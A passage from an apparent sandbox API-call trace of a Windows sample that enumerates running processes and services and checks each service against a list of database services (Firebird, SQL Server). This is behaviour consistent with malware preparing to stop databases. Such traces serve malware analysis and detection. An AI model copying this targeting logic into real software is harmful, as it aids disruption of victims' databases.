(lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0303.941] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0303.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0303.941] lstrlenW (lpString="NlaSvc") returned 6 [0303.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0303.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0303.941] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0303.941] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0303.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0303.941] lstrlenW (lpString="nsi") returned 3 [0303.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0303.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0303.941] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0303.941] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0303.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0303.941] lstrlenW (lpString="PcaSvc") returned 6 [0303.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0303.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0303.942] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0303.942] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0303.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0303.942] lstrlenW (lpString="PlugPlay") returned 8 [0303.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0303.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0303.942] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0303.942] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0303.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0303.942] lstrlenW (lpString="Power") returned 5 [0303.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0303.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0303.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0303.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0303.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0303.942] lstrlenW (lpString="ProfSvc") returned 7 [0303.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0303.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0303.942] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0303.942] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0303.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0303.942] lstrlenW (lpString="RpcEptMapper") returned 12 [0303.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0303.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0303.942] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0303.942] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0303.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0303.942] lstrlenW (lpString="RpcSs") returned 5 [0303.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0303.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0303.943] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0303.943] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0303.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0303.943] lstrlenW (lpString="SamSs") returned 5 [0303.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0303.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0303.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0303.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0303.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0303.943] lstrlenW (lpString="Schedule") returned 8 [0303.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0303.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0303.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0303.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0303.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0303.943] lstrlenW (lpString="SecurityHealthService") returned 21 [0303.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0303.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0303.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0303.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0303.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0303.943] lstrlenW (lpString="SENS") returned 4 [0303.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0303.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0303.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0303.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0303.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0303.943] lstrlenW (lpString="ShellHWDetection") returned 16 [0303.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0303.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0303.945] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0303.946] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0303.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0303.946] lstrlenW (lpString="Spooler") returned 7 [0303.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0303.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0303.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0303.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0303.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0303.946] lstrlenW (lpString="SSDPSRV") returned 7 [0303.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0303.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0303.946] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0303.946] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0303.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0303.946] lstrlenW (lpString="StateRepository") returned 15 [0303.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0303.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0303.946] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0303.946] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0303.946] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0303.946] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f0 [0303.950] Process32FirstW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.951] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0303.952] lstrlenW (lpString="System") returned 6 [0303.952] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0303.953] lstrlenW (lpString="smss.exe") returned 8 [0303.953] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0303.958] lstrlenW (lpString="csrss.exe") returned 9 [0303.958] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0303.959] lstrlenW (lpString="wininit.exe") returned 11 [0303.959] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0303.961] lstrlenW (lpString="csrss.exe") returned 9 [0303.961] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0303.961] lstrlenW (lpString="winlogon.exe") returned 12 [0303.961] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0303.962] lstrlenW (lpString="services.exe") returned 12 [0303.962] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0303.963] lstrlenW (lpString="lsass.exe") returned 9 [0303.963] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.964] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.964] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.965] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.965] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.966] lstrlenW (lpString="svchost.exe") returned 11 [0303.966] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.967] lstrlenW (lpString="svchost.exe") returned 11 [0303.967] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0303.967] lstrlenW (lpString="dwm.exe") returned 7 [0303.967] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.968] lstrlenW (lpString="svchost.exe") returned 11 [0303.968] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.969] lstrlenW (lpString="svchost.exe") returned 11 [0303.969] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.969] lstrlenW (lpString="svchost.exe") returned 11 [0303.969] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.970] lstrlenW (lpString="svchost.exe") returned 11 [0303.970] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.971] lstrlenW (lpString="svchost.exe") returned 11 [0303.971] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.971] lstrlenW (lpString="svchost.exe") returned 11 [0303.971] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.972] lstrlenW (lpString="svchost.exe") returned 11 [0303.972] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.973] lstrlenW (lpString="svchost.exe") returned 11 [0303.973] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.973] lstrlenW (lpString="svchost.exe") returned 11 [0303.973] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.974] lstrlenW (lpString="svchost.exe") returned 11 [0303.974] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0303.975] lstrlenW (lpString="spoolsv.exe") returned 11 [0303.975] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0303.975] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0303.975] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0303.976] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0303.976] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0303.977] lstrlenW (lpString="Memory Compression") returned 18 [0303.977] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.978] lstrlenW (lpString="svchost.exe") returned 11 [0303.978] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0303.978] lstrlenW (lpString="audiodg.exe") returned 11 [0303.979] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0303.979] lstrlenW (lpString="sihost.exe") returned 10 [0303.979] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.980] lstrlenW (lpString="svchost.exe") returned 11 [0303.980] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0303.981] lstrlenW (lpString="taskhostw.exe") returned 13 [0303.981] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0303.981] lstrlenW (lpString="explorer.exe") returned 12 [0303.981] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0303.982] lstrlenW (lpString="SearchUI.exe") returned 12 [0303.982] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0303.983] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0303.983] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0303.983] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0303.983] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0303.984] lstrlenW (lpString="1csrss.exe") returned 10 [0303.984] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.985] lstrlenW (lpString="svchost.exe") returned 11 [0303.985] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0303.985] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0303.986] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.986] lstrlenW (lpString="svchost.exe") returned 11 [0303.986] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0303.987] lstrlenW (lpString="consent.exe") returned 11 [0303.987] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0303.988] CloseHandle (hObject=0x4f0) returned 1 [0303.988] Sleep (dwMilliseconds=0x1f4) [0304.515] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0304.516] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0304.516] GetLastError () returned 0xea [0304.516] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0304.516] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0304.517] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0304.517] lstrlenW (lpString="Appinfo") returned 7 [0304.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0304.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0304.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0304.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0304.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0304.518] lstrlenW (lpString="AppXSvc") returned 7 [0304.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0304.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0304.518] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0304.518] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0304.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0304.518] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0304.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0304.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0304.518] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0304.518] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0304.518] lstrcmpiW 